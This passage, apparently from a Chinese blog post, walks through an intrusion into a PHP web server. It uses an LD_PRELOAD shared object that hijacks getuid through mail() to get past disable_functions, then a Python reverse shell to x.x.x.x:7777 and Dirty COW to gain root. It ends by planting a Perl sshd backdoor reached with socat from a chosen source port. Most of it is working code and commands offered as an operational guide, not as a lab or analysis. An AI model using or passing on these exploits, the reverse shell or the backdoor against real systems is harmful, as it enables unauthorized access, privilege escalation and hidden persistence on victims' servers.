将 bypass_disablefunc.c 编译为共享对象 bypass_disablefunc_x64.so:
要根据目标架构编译成不同版本,在 x64 的环境中编译,若不带编译选项则默认为 x64,若要编译成 x86 架构需要加上 -m32 选项 。
#define _GNU_SOURCE#include <stdlib.h>#include <stdio.h>#include <string.h>extern char** environ;__attribute__ ((__constructor__)) void preload (void){ // get command line options and arg const char* cmdline = getenv("EVIL_CMDLINE"); // unset environment variable LD_PRELOAD. // unsetenv("LD_PRELOAD") no effect on some// distribution (e.g., centos), I need crafty trick. int i; for (i = 0; environ[i]; ++i) { if (strstr(environ[i], "LD_PRELOAD")) { environ[i][0] = ''; } } // executive command system(cmdline);}劫持 getuid()
基本原理
前提是在 Linux 中已安装并启用 sendmail 程序 。
php 的 mail() 函数在执行过程中会默认调用系统程序 /usr/sbin/sendmail,而 /usr/sbin/sendmail 会调用 getuid() 。如果我们能通过 LD_PRELOAD 的方式来劫持 getuid(),再用 mail() 函数来触发 sendmail 程序进而执行被劫持的 getuid(),从而就能执行恶意代码了 。
细化一下:
编写一个原型为 uid_t getuid(void); 的 C 函数,内部执行攻击者指定的代码,并编译成共享对象 evil.so;
运行 PHP 函数 putenv(),设定环境变量 LD_PRELOAD 为 evil.so,以便后续启动新进程时优先加载该共享对象;
运行 PHP 的 mail() 函数,mail() 内部启动新进程 /usr/sbin/sendmail,由于上一步 LD_PRELOAD 的作用,sendmail 调用的系统函数 getuid() 被优先级更好的 evil.so 中的同名 getuid() 所劫持;
达到不调用 PHP 的各种命令执行函数(system()、exec() 等等)仍可执行系统命令的目的 。
#include <stdlib.h>#include <stdio.h>#include <string.h>int geteuid() { const char* cmdline = getenv("EVIL_CMDLINE"); if (getenv("LD_PRELOAD") == NULL) { return 0; } unsetenv("LD_PRELOAD"); system(cmdline);}
gcc -shared -fPIC bypass.c -o byapss.so编译了一下去利用,发现可以哦!
0x06
可以执行命令了,执行上反弹 shell,有交互的 shell 舒服多了,这里用 Python 的反弹脚本,一般系统有装 python 脚本,我都会先用 pyhton,因为有一些系统的不一样,bash 或者 nc 比较麻烦 。
import socket,subprocess,oss=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect(("x.x.x.x",7777))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)p=subprocess.call(["/bin/sh","-i"]);监听一波
文章插图
反弹成功了
文章插图
执行uname -a看了下版本
Linux cloud 2.6.32-642.el6.x86_64 #1 SMP Tue May 10 17:27:01 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux2.6 的版本上脏牛必中,可以不用在目标机子上面编译,在自己的 Linux 环境编译然后上传到目标机子上面执行
文章插图
那就静静等待脏牛把 root 替换掉,然后脸上目标机子,大概要几分钟这样子,去连 ssh 的时候有些管理员会把 ssh 的端口改了,用命令netstat -nlp就可以看到了 。
已经成功了,用户名为firefart密码是刚设置的 123456 。
0x07
登陆目标机子后,记得及时恢复 /etc/passwd
cp /tmp/passwd.bak /etc/passwd那些 pam 补丁、隐藏文件、suid、inetd 等都可以用作后门,看你环境 。
1、这个 ssh 后门伪装成一个 perl 脚本,名为 sshd,位于 /usr/sbin/sshd , 将系统原先的 sshd 移到 /usr/bin 下
#!/usr/bin/perlexec"/bin/sh"if(getpeername(STDIN)=~/^..zf/);exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;2、将真正的 sshd 移至 /usr/bin/sshd
mv /usr/sbin/sshd /usr/bin/sshd3、将后门 sshd (perl 脚本移动至 /usr/sbin/sshd),并授予执行权限
chmod +x /usr/sbin/sshd4、重启 ssh 服务
/etc/init.d/sshd restart
文章插图
5、连接后门,记得安装好 socat
sudo yum install socat#socat STDIO TCP4:目标ip:ssh端口一般是22,sourceport=31334socat STDIO TCP4:127.0.0.1:22,sourceport=31334
文章插图
0x08
当然做内网渗透必不可少的就是 msf 了,如果是 windows 的话推荐使用CobaltStrike非常 nice 的一个工具 。
推荐阅读
- 反渗透净水器,到底该选有罐机还是无罐机
- 网站渗透测试 对网站安全防护解析漏洞详情
- 黑客必学知识系列之access注入,带你深入了解黑客的世界
- 网络黑客主要的三种谋利方式你知道吗?小心别中招了
- 黑客入门,诸神之眼-Nmap-使用指南
- python渗透库大集合
- 计算机网络基础总结,如果你想成为黑客,那你还不赶紧了解一下
- 顶级黑客必须掌握的系统内核你真的了解吗?
- 黑客汇集的秘密基地,这7个技术网站你都知道吗?
- 黑客用WAV档案形态包装恶意程序,来躲避防毒软件的侦测